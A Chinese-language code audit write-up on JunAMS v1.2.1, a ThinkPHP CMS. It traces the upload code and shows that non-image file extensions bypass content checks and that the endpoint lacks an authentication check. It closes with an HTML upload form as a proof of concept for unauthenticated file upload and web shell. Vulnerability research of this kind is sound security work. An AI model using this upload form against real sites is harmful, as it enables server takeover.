JunAMS v1.2.1.20190403代码审计笔记
前言
过程
JunAMS是以ThinkPHP为框架的开源内容管理系统,本地搭建受影响版本JunAMS v1.2.1.20190403
前台没有上传功能,进入后台。发现在系统设置->版本管理->添加表单中,发现文件上传功能

先传张正常的图片,抓个包看一下:

上传功能没问题,根据POST路径追踪对应功能代码,在common方法中的add_images函数,代码如下:
public function add_images() {
$file = request()->file('file');
$path = ROOT_PATH . 'public' . DS . 'edit' . DS;
if($file){
$info = $file->validate([])->move($path);
if($info){
$name = $info->getSaveName();
$path = $path.$name;
# 是否需要压缩
if (\qiniu\Qiniu::get_zip() == 1) {
\qiniu\Qiniu::image_png_size_add($path, $path);
}
# 关闭七牛云上传
if (\qiniu\Qiniu::get_status() == 0) {
$url = str_replace(['\\', '//'],'/', dirname($_SERVER['SCRIPT_NAME']) .DS. 'public' .DS. 'edit' .DS. $name);
} else {
# 要先释放TP5的实例,否则无法删除图片
unset($info);
$url = \qiniu\Qiniu::put($path, $name);
}
# 成功上传后 获取上传信息
if ($url) {
echo json_encode([
'code' => 0,
'msg' => '上传成功',
'data' => [
'src' => $url
],
], JSON_UNESCAPED_UNICODE);exit;
}
}
# 上传失败获取错误信息
echo json_encode([
'code' => '01',
'msg' => '上传失败:'.$file->getError(),
'data' => '',
], JSON_UNESCAPED_UNICODE);exit;
}
}
$info获取文件详情,并经过move函数处理,追踪下move()
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}
// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}
// 验证上传
if (!$this->check()) {
return false;
}
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}
// 不覆盖同名文件
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}
/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
这里我们需要着重关注验证上传部分,看下check函数如何定义
public function check($rule = [])
{
$rule = $rule ?: $this->validate;
/* 检查文件大小 */
if (isset($rule['size']) && !$this->checkSize($rule['size'])) {
$this->error = 'filesize not match';
return false;
}
/* 检查文件 Mime 类型 */
if (isset($rule['type']) && !$this->checkMime($rule['type'])) {
$this->error = 'mimetype to upload is not allowed';
return false;
}
/* 检查文件后缀 */
if (isset($rule['ext']) && !$this->checkExt($rule['ext'])) {
$this->error = 'extensions to upload is not allowed';
return false;
}
/* 检查图像文件 */
if (!$this->checkImg()) {
$this->error = 'illegal image files';
return false;
}
return true;
}
check函数中检查了文件类型、后缀和图像文件,依次看下代码,首先来看checkMime()
public function checkMime($mime)
{
$mime = is_string($mime) ? explode(',', $mime) : $mime;
return in_array(strtolower($this->getMime()), $mime);
}
直接将传入的类型与获取到的类型做对比,未做过滤,继续看checkExt()
public function checkExt($ext)
{
if (is_string($ext)) {
$ext = explode(',', $ext);
}
$extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));
return in_array($extension, $ext);
}
后缀类型也没有限制,看下checkImg()
public function checkImg()
{
$extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));
// 如果上传的不是图片,或者是图片而且后缀确实符合图片类型则返回 true
return !in_array($extension, ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf']) || in_array($this->getImageType($this->filename), [1, 2, 3, 4, 6, 13]);
}
/**
* 判断图像类型
* @access protected
* @param string $image 图片名称
* @return bool|int
*/
protected function getImageType($image)
{
if (function_exists('exif_imagetype')) {
return exif_imagetype($image);
}
try {
$info = getimagesize($image);
return $info ? $info[2] : false;
} catch (\Exception $e) {
return false;
}
}
这里限制了当上传的后缀为'gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'时,文件内容必须为图片,换言之,当不是图片后缀时,内容没有限制
整个上传流程为:获取图片文件后缀、Mime类型、内容,当后缀为图片文件时,检测内容是否为图片,当后缀不为图片文件时,定义上传目录与文件名,上传成功,返回文件路径。并且common方法没有受后台权限验证基类Backend限制,任意用户可访问,产生前台任意文件上传漏洞。
利用
本地构造上传表单
<form enctype="multipart/form-data" action="http://localhost//admin.php/common/add_images.html" method="post">
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>
任意文件上传GETSHELL:


最后
上传文件位置不止一处,其他的还需一一验证。
JunAMS v1.2.1.20190403代码审计笔记的更多相关文章
- SeacmsV10.7版代码审计笔记
data: 2020.11.9 10:00AM description: seacms代码审计笔记 0X01前言 seacms(海洋cms)在10.1版本后台存在多处漏洞,事实上当前最新版V10.7这 ...
- PHP代码审计笔记--弱类型存在的安全问题
0x01 前言 PHP 是一门弱类型语言,不必向 PHP 声明该变量的数据类型,PHP 会根据变量的值,自动把变量转换为正确的数据类型. 弱类型比较,是一个比较蛋疼的问题,如左侧为字符串,右侧为一个整 ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- PHP代码审计笔记--代码执行漏洞
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞. 常见代码注射函数: 如:eval.preg_replace+/e.assert.call_user_func. ...
- PHP代码审计笔记--任意文件下载漏洞
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...
- PHP代码审计笔记--命令执行漏洞
命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...
- PHP代码审计笔记--URL跳转漏洞
0x01 url任意跳转 未做任何限制,传入任何网址即可进行跳转. 漏洞示例代码: <?php $redirect_url = $_GET['url']; header("Locati ...
- PHP代码审计笔记--文件包含漏洞
有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...
- PHP代码审计笔记--任意文件上传
0x01 最简单的文件上传 未进行文件类型和格式做合法性校验,任意文件上传 漏洞代码示例: 新建一个提供上传文件的 upload.html <html> <body> < ...
随机推荐
- 跨域解决之JSONP和CORS的详细介绍
JSONP跨域和CORS跨域 什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行Jav ...
- 63. Unique Paths II 动态规划
description: https://leetcode.com/problems/unique-paths/ 机器人从一堆方格的左上角走到右下角,只能往右或者往下走 ,问有几种走法,这个加了难度, ...
- Java | 参数传值机制
值传递 java中,方法中所有的参数的都是"值传递",就是传递的是原来值的副本,不是原来的参数,因此,改变不会影响到原来的参数. 基本数据类型参数的传值 传递的都是副本,改变以后不 ...
- ARTS第五周
-第五周.这两周在复习大学里的课程,发现当时觉得课上很多看不懂的,现在看起来轻松多了,也带来了新的感悟. 1.Algorithm:每周至少做一个 leetcode 的算法题2.Review:阅读并点评 ...
- 【剑指offer】77.调整数组顺序使奇数位于偶数前面
77.调整数组顺序使奇数位于偶数前面 知识点:数组:快速排序:冒泡排序: 题目描述 输入一个整数数组,实现一个函数来调整该数组中数字的顺序,使得所有的奇数位于数组的前半部分,所有的偶数位于数组的后半部 ...
- React组件三大属性之 refs
React组件三大属性之 refs refs属性 1) 组件内的标签都可以定义ref属性来标识自己 a. <input type="text" ref={input => ...
- java网络编程基础——网络基础
java网络编程 网络编程基础 1.常用的网络拓扑结构: 星型网络.总线网络.环线网络.树形网络.星型环线网络 2.通信协议的组成 通信协议通常由3部分组成: 语义部分:用于决定通信双方对话类型 语法 ...
- 微信小程序云开发-云开发环境配置工作
一.注册小程序 打开[微信开发者工具],点击界面上的[注册],进入注册微信小程序页面.(也可以直接进入微信小程序注册地址:https://mp.weixin.qq.com/进行注册) 进入[小程序注册 ...
- [考试总结]noip模拟10
不小心有咕掉了一段时间 这次考试咕掉的分数也是太多了 然后就是这次暴力完全没有打满 遗憾啊遗憾 T1 入阵曲 前面的题目背景故意引导我们去往矩阵快速幂的方向去想 然而半毛钱关系没有 其实就是维护前缀和 ...
- 第七篇 -- 添加CSV Data Set Config
参考链接:https://blog.csdn.net/vv19910825/article/details/82773220 先来看看我们开启的接口 @RequestMapping(value = & ...